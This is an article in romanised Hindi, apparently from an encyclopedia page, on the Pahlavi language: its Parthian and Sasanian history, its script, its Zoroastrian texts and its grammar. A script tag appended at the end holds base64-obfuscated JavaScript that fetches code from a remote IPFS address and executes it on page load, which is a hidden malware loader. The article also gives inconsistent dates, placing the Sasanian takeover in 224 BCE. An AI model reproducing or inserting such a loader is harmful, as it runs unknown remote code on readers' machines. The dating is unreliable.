पहलवी भाषा

pahalavi bhasha vishv mean sabase adhik boli jane vali 'bharopiy bhasha parivar' ki ek shakha hai. yah madhy bharatiy-eerani bhashaoan ke upasamooh ki ek bhasha hai. akhameniyaee samrajy (610 se 336 tak) se islam ki sthapana (eesa ke bad satavian shatabdi) tak yah bhasha prachalan mean thi. yah ek anumanit kal hai, jo upalabdh abhilekhoan tatha rachanaoan par adharit hai.

• apane vikas ke aranbhik charan mean pahalavi bhasha ko 'parthi', 'pahavig' ya 'pahalavanayak' kahate the, jo pahalavi bhasha ki ek boli hai. yah poorvottar eeran ke ek praant parthiya (adhunik khurasan) mean boli jati thi. parthiyaee log, jinhean ashakoniyaee bhi kaha jata hai, poorvottar eeran ke qabaili the aur unhoanne yoonaniyoan ko eeran se bahar nikalakar ee.poo. 250 mean apane rajy ki sthapana ki. unaka shasan 224 ee. tak chala, halaanki parthiyaee log lanbe samay tak shasan mean rahe, lekin pahali shatabdi tak yoonani bhasha sarakari bhasha ke roop mean qayam rahi. bhasha sarakari bhasha ke roop mean pahalavanayak ko lagoo kie jane ke bad yoonani prabhav baraqarar raha.
• prakhyat eerani chitrakar aur paiganbar mani (z-215-216 , mesopotamiya mean eerani mata-pita ke yahaan, bad mean parthiyaee shasan ke tahat karyarat) dvara prasarit dharm ya mat manivad ke shastr bhi isi lipi mean likhe gaye.
• dakshin-pashchim praant faras mean 224 ee.poo. mean sasaniyaee logoan ne parthiyaee logoan se satta chhin li. unhoanne parasi ko apana rajadharm ghoshit kar diya, halaanki manivad aur bauddh dharm jaise any mat bhi desh ke vibhinn hissoan mean jivit the. sasaniyaee logoan ne eerani tatha p dosi rajyoan ke vishal kshetr par 652 ee. tak raj kiya, jisake bad is par islami shaktiyoan ka qabza ho gaya.
• pahalavi ki dakshin-pashchim boli parasi ka vikas sasaniyaee utkarsh ke sath hua. pahalavanayak aur parasi boliyoan ke lie prayukt lipi siriyaee lipi mean kuchh sthaniy parivartan ke bad banaee gee.
• parthiyaee logoan ke shasanakal mean rajabhasha bani pahalavi bhasha ne any boliyoan ki utpatti ka marg prashast kiya, lekin apani sarakari sthiti ke karan yah pradhan bhasha bani rahi. pahalavi bhasha mean raja apane darabar ko sanbodhit karate the tatha yah re, hamadan, n aauhavand aur ajarabaijan jaise nagaroan ki mukhy boli thi.
• pahalavi lipi mean 14 akshar haian pratyek dhvanigram kee dhvaniyoan ka pratinidhitv karata hai. pahalavi mean tin chhote aur tin dirgh svar, do sanyukt svar aur ek upasvar hai. isamean lagabhag 23 vyanjan haian yah nishchit roop se jnat nahian hai ki farasi-arabi lipi ne kis kal mean pahalavi lipi ka sthan liya, kyoanki islami kal ke kuchh abhilekh, jaise 1022-1023 ee. ke uttari eeran mean kaispiyan tat par lazim stanbh (gaz bandaragah ke nikat) pahalavi lipi mean haian. islam ke prasar ke bad bhi alpasankhyak samuday ne pahalavi bhasha mean sanchar jari rakha.
• satavian-athavian shatabdi mean bharat pravas kar ge parasi apani dharmik rachanaoan ko surakshit rakhane ke lie is lipi ka istemal karate rahe. parasiyoan ke pustakalayoan v sansadhanoan mean is dharm ka sahity ab bhi pahalavi lipi mean surakshit haian. ek pidhi se doosari pidhi tak purohitoan dvara prasarit avesta ke path ko sasaniyaee shasan ke aranbhik kal mean pahalavi lipi mean lipibadhd kiya gaya.
• nauvian shatabdi tak 'dinakard' ya 'dinakart', 'bandahishn', 'arda viraf-nama' jaisi mahattvapoorn dharmik rachanaoan ko bhi pahalavi lipi mean likh liya gaya tha.
• is bhasha ki vyakaran pranali mean do vachan haian-

1. ekavachan
2. bahuvachan.

• do liang haian-

1. pulliang
2. striliang.

• pahalavi bhasha mean prachin parasi aur avestaee bhasha ke lagabhag ek hazar shabd shamil haian, jo chitrakshar ke roop mean the.
• pahalavi bhasha adhunik farasi bhashaoan, visheshakar farasi aur dari ka adhar bani.
• muanbee mean kama sansthan aur pustakalay pahalavi bhasha ke adhyayan ke keandr haian.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>